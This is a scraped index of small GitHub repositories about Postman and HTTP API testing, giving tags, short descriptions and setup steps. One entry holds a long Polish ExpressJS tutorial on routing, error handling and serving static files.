first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
Hamdi-Limam/Task-Manager http, test, tester, util |
Une Api permettant à L'utilisateur de créer, modifier et supprimer des comptes et des tâches en utilisant Postman pour tester les requêtes http. | 0 stars | 0 watchers | 0 forks |
hatoriz/selflearning_postman html, http, https, learn, learning, tutorial |
https://www.guru99.com/postman-tutorial.html | 0 stars | 0 watchers | 0 forks |
Hossam-PHP/PHP-Restful-Api-OOP- api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls |
Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php | 0 stars | 0 watchers | 0 forks |
igorsalari/httpbin-postman-tests http, test, tests |
0 stars | 0 watchers | 0 forks | |
indeedeng-alpha/newman-reporter-diff case, client, comparing, http, newman, report, reporter |
Showcase for comparing http requests using newman, the postman cli client. | 0 stars | 0 watchers | 0 forks |
InLove4Coding/GameStoreSpring host, http, in memory, jdbc, local, memory, popular, test |
Game Store - simple project on popular stack :Spring, h2, lombok, Jpa. Данный проект использует in memory db, так что его можете запустить без дампа бд. Запросы пока через postman, примеры в комментариях кода. По http://localhost:8080/h2/ можете поработать с бд через интерфейс. Для захода jdbcUrl -> jdbc:h2:mem:testdb . Далее о.к (юзер по умолчанию sa, без пароля) | 0 stars | 0 watchers | 0 forks |
ivan-wolf/denner-postman http, https |
Postman Collections for Denner 2.0 Portal and Web Services. https://www.getpostman.com | 0 stars | 0 watchers | 0 forks |
Jaco1984/Spottify_Javier dashboard, developer, http, https, login, service, spotify, token |
Aplicación como Spotiffy, para probarla necesitan el token que genera vuestra sesion "https://developer.spotify.com/dashboard/login" yo lo uso con el Postman para recogerlo y poder probarlo hay que cambiarlo en el archivo "spotiffy.service.ts" en la linea 21 despues del Bearer | 0 stars | 0 watchers | 0 forks |
jeanalgoritimo/parcelamento data, form, format, host, http, local, studio, visual |
Teste de Avaliação do Jean Silva para a empresa Ctis.Caminho da aplicação do Postman http://localhost:port/api/cadastro/CadastrarDados Padrao do dados a ser enviados { "numeroParcelas": 10, "Datas": "01/01/2018", "valorTotalCredito":10000.00 } O Valor totoal de crédito desse nesse formato acima com ponto antes das duas casas decimais e se o valor for acima de mil reais não colocar pontos.A data deve ser no formato dd//mm/yyyy e número de parcela de forma em inteiro.Programa foi construído no visual studio 2017 | 0 stars | 0 watchers | 0 forks |
jensvog/serverless-postman-env-plugin endpoint, endpoints, environment, file, http, plugin, server, serverless |
Serverless plugin for creating a postman environment file from http endpoints | 0 stars | 0 watchers | 0 forks |
jinfanx/fx-dev-tools client, function, functions, http, tool, tools |
simple http client, like postman, but only main functions | 0 stars | 0 watchers | 0 forks |
juannorris/django-postman bitbucket, bucket, customized, django, export, exported, http, https |
django-postman, customized by scoobygalletas (https://[email protected]/scoobygalletas), exported to git from hg. | 0 stars | 0 watchers | 0 forks |
jurnlee/postman2hruncase case, http |
postman v2.1 to httpruner case | 0 stars | 0 watchers | 0 forks |
k6io/example-postman-collection blog, collection, collections, example, http, https, test, testing |
https://k6.io/blog/load-testing-with-postman-collections/ | 0 stars | 0 watchers | 0 forks |
kurtulussahin/users_demo_api_postman_collection collection, http, https, integration, travis, user, users |
Postman-Travis integration demo - https://travis-ci.org/kurtulussahin/users_demo_api_postman_collection | 0 stars | 0 watchers | 0 forks |
LarryKarani/IreporterReactJs access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube |
# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI | 0 stars | 0 watchers | 0 forks |
madyganesh/httpbin-Postman http, integration |
POSTMAN-GITHUB integration | 0 stars | 0 watchers | 0 forks |
martinproxy0/Zadanie_17_5 action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars |
17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
martynow173/practice-3 actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user |
Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission | 0 stars | 0 watchers | 0 forks |
minhhai2209/postman-sample access, environment, fork, github, http, https, modification, newman, properties, sample |
Sample on how to use the fork at https://github.com/minhhai2209/newman#accessible-environment to set Postman properties from Newman. See the modification at https://github.com/minhhai2209/postman-runtime/commit/764c6b9a170e71b055dce077fba12960e6b87d93. | 0 stars | 0 watchers | 0 forks |
N0NU/nodejs-ts-api collection, collections, http, https, link, node, nodejs, postman collection |
postman collection link: https://www.getpostman.com/collections/415fe570cfb81c6393e8 | 0 stars | 0 watchers | 0 forks |
NavarroKofs/crud crud, document, http, https, test, version |
Postman: https://documenter.getpostman.com/view/6792704/SVmzuGZi?version=latest | 0 stars | 0 watchers | 0 forks |
